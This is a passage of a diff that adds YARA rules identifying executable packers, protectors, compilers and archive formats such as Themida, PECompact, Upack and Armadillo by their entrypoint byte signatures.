+		$0 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _themida_1005__httpwwworeanscom_
+{
+	meta:
+		description = "themida 1.0.0.5 -> http://www.oreans.com"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Encrypt_10__Liwuyue_
+{
+	meta:
+		description = "PE Encrypt 1.0 -> Liwuyue"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D 0F 05 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+		$1 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D 0F 05 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Yodas_Protector_102__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PoPa_001_Packer_on_Pascal__bagie_
+{
+	meta:
+		description = "PoPa 0.01 (Packer on Pascal) -> bagie"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 A4 3E 00 10 E8 30 F6 FF FF 33 C0 55 68 BE 40 00 10 ?? ?? ?? ?? 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 62 E7 FF FF 8B 45 EC E8 32 F2 FF FF 50 E8 B4 F6 FF FF A3 64 66 00 10}
+		$1 = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 A4 3E 00 10 E8 30 F6 FF FF 33 C0 55 68 BE 40 00 10 ?? ?? ?? ?? 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 62 E7 FF FF 8B 45 EC E8 32 F2 FF FF 50 E8 B4 F6 FF FF A3 64 66 00 10 33 D2 55 68 93 40 00 10 64 FF 32 64 89 22 83 3D 64 66 00 10 FF 0F 84 3A 01 00 00 6A 00 6A 00 6A 00 A1 64 66 00 10 50 E8 9B F6 FF FF 83 E8 10 50 A1 64 66 00 10 50 E8 BC F6 FF FF 6A 00 68 80 66 00 10 6A 10 68 68 66 00 10 A1 64 66 00 10 50 E8 8B F6 FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _The_Guard_Library_
+{
+	meta:
+		description = "The Guard Library"
+	strings:
+		$0 = {50 E8 00 00 00 00 58 25 00 F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+		$1 = {50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_v151x_
+{
+	meta:
+		description = "EXECryptor v1.5.1.x"
+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+		$1 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FOXSQZ_Archive_
+{
+	meta:
+		description = "FOXSQZ Archive"
+	strings:
+		$0 = {46 4F 58 53 51 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _WinKript_100_
+{
+	meta:
+		description = "WinKript 1.00"
+	strings:
+		$0 = {33 C0 8B B8 00 00 00 00 8B 90 04 00 00 00 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 00 00 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V039V0399__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.39-V0.399 -> Dwing   * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 4F 04 FD 1A D2 22 C2 3C 07 73 F6 50 0F B6 6F FF ?? ?? ?? 66 69 ED 00 03 8D AC AB 08 10 00 00 57 B0 01 E3 1F 2B 7B 08 84 0F 0F 95 C4 FE C4 8D 54 85 00 FF 16 12 C0 D0 E9 74 0E 2A E0 80 E4 01 75 E6 33 C9 B5 01 FF 56 50 33 C9 5F E9 F2 00 00 00 04 F9 1A C0 B1 30 24 03 8B 6B 08 04 08 03 D1 FF 16 73 42 03 D1 FF 16 72 14 03 D1 FF 16 72 24 0C 01 50 8B C7 2B 43 08 B1 80 8A 00 EB CE 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 50 55 8D 93 78 07 00 00 FF 56 54 5D 91 E9 8F 00 00 00 48 87 6B 0C 50 87 6B 10 8D 93 C0 0B 00 00 89 6B 14 FF 56 54 6A 03 59 50 48 3B C1 72 02 8B C1 B1 40 F6 E1 8D AC 83 78 03 00 00 FF 56 4C 3C 04 8B E8 72 5A 33 ED D1 E8 83 D5 02 48 91 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF}
+	condition:
+		$0
+}
+rule _NoobyProtect_V1004__Nooby__20081207_
+{
+	meta:
+		description = "NoobyProtect V1.0.0.4 -> Nooby * 20081207"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 9C 81 44 24 04}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v025_
+{
+	meta:
+		description = "PESHiELD v0.25"
+	strings:
+		$0 = {60 E8 2B 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RAR_SFX_
+{
+	meta:
+		description = "RAR SFX"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 00 00 00 00 90}
+		$1 = {80 3A 52 75 2D 80 7A 01 61 75 27 80 7A 02 72 75 21 80 7A 03 21 75 1B 80 7A 04 1A 75 15 80 7A 05 07 75 0F 80 7A 06 00 75 09}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Lock_NT_v203_
+{
+	meta:
+		description = "PE Lock NT v2.03"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v40_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v4.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+		$1 = {83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_2x__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact 2.x -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 02 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v303d_v305d_
+{
+	meta:
+		description = "PC-Guard v3.03d, v3.05d"
+	strings:
+		$0 = {55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01}
+		$1 = {55 53 56 51 52 57 E8 16 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XJ__XPAL__LiNSoN_
+{
+	meta:
+		description = "XJ / XPAL -> LiNSoN"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C}
+		$1 = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v09782__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v0.978.2 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_FSG_131_
+{
+	meta:
+		description = "PseudoSigner 0.1 [FSG 1.31"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+		$1 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MS_Compress_Archive_
+{
+	meta:
+		description = "MS Compress Archive"
+	strings:
+		$0 = {53 5A 44 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_v104_
+{
+	meta:
+		description = "Microsoft C v1.04"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 8E D0 26 8B ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 04 D3 E3 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _NSPack__Nort_Star_Software__httpwwwnsdsncom_
+{
+	meta:
+		description = "NSPack -> Nort Star Software - http://www.nsdsn.com/"
+	strings:
+		$0 = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_200_Win32__Berczi_Gabor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 2.0.0 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Patch_Creation_Wizard_12_Byte_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard 1.2 Byte Patch"
+	strings:
+		$0 = {E8 7F 03 00 00 6A 00 E8 24 03 00 00 A3 B8 33 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 2C 03 00 00 6A 00 E8 EF 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 B8 33 40 00 E8 1B 03 00 00 50 6A 01 68 80 00 00 00 FF 75}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_ZCode_101__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake ZCode 1.01) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _IProtect_10_Fxlibdll_mode__by_FuXdas_
+{
+	meta:
+		description = "IProtect 1.0 (Fxlib.dll mode) - by FuXdas"
+	strings:
+		$0 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF}
+		$1 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF}
+		$2 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _OAZ_Fax_Graphics_format_
+{
+	meta:
+		description = "OAZ Fax Graphics format"
+	strings:
+		$0 = {0F 0F 0F 0F 01 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptTrivial173_
+{
+	meta:
+		description = "Crypt.Trivial.173"
+	strings:
+		$0 = {EB 18 90 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29 BB 00 FE 00 1F 4B EB FB D1 81 0F D1 0D D8 9B 0B E8 32 55 D0 4A D2 45 D7 5E 5D 4F 8F CE B4 09 57 1B 94 C4 C3 81 C1 C1 78 FC BD BF D8 01 9B B3 38 B1 94 60 28 E8 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_V80_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ V8.0 (Debug)"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+		$1 = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeCryptor_01_build_001__GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.1 (build 001) -> GlOFF"
+	strings:
+		$0 = {8B 04 24 40 90 83 C0 07 80 38 90 90 74 02 EB FF 68 26 ?? ?? 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 FF E4 90 8B 04 24 64 A3 00 00 00 00 8B 64 24 08 90 83 C4 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_WinFax_PRO_83_Coverpage_Quick_CoverPage_
+{
+	meta:
+		description = "Symantec WinFax PRO 8.3 Coverpage Quick CoverPage"
+	strings:
+		$0 = {FF FF ?? ?? ?? ?? ?? 43 6F 76 65 72 44 61 74 61 62 61 73 65}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_Visual_Cpp_v8_DLL_hsmall_sig2_
+{
+	meta:
+		description = "MS Visual C++ v.8 DLL (h-small sig2)"
+	strings:
+		$0 = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 0F 84 ?? ?? 00 00 83 FE 01}
+		$1 = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 0F 84 ?? ?? 00 00 83 FE 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v172__v173_
+{
+	meta:
+		description = "Armadillo v1.72 - v1.73"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXpressor_Version_1501_
+{
+	meta:
+		description = "eXpressor Version 1.5.01"
+	strings:
+		$0 = {55 8B EC 81 EC 50 02 00 00 53 56 57 83 A5 D0 FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrc32_088__ZhouJinYu_
+{
+	meta:
+		description = "PECrc32 0.88 -> ZhouJinYu"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC}
+		$1 = {60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BlindSpot_10__s134k_
+{
+	meta:
+		description = "BlindSpot 1.0 -> s134k"
+	strings:
+		$0 = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15}
+		$1 = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15 1C 10 40 00 8D 45 F8 8B 1D 18 10 40 00 56 50 6A 34 FF 35 90 12 40 00 FF 75 FC FF D3 85 C0 0F 84 7F 01 00 00 39 75 F8 0F 84 76 01 00 00 A1 90 12 40 00 66 8B 40 30 66 3D 01 00 75 14 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 14 10 40 00 EB 2C 66 3D 02 00 75 14 8D 85 E4 FE FF FF 50 68 04 01 00 00 FF 15 10 10 40 00 EB 12 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 0C 10 40 00 8B 3D 08 10 40 00 8D 85 E4 FE FF FF 68 54 10 40 00 50}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Rec_032_
+{
+	meta:
+		description = "Rec 0.32"
+	strings:
+		$0 = {06 1E 52 B8 02 30 1E CD 21 86 E0 3D FE 02 73 02 CD 20 0E 1F B4 09 E8 03 00 24 24 EA 5A CD 21 EB 02 D8 88 1F 5A B4 30 CD 21 3C 03 73 02 CD 20 3C 03 73 02 33 C0 BF 01 02 8B 03 90 2B F7 90 BF 06 07 B9 01 02 53 BB EB 04 5B EB FB 9A EB 2D FE 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V20X__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.0X -> Jitit"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+		$1 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCShrinker_v029__Virogen_
+{
+	meta:
+		description = "PC-Shrinker v0.29 -> Virogen"
+	strings:
+		$0 = {BD ?? ?? ?? ?? 01 AD 55 39 40 00 8D B5 35 39 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v038_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.38 beta -> Dwing"
+	strings:
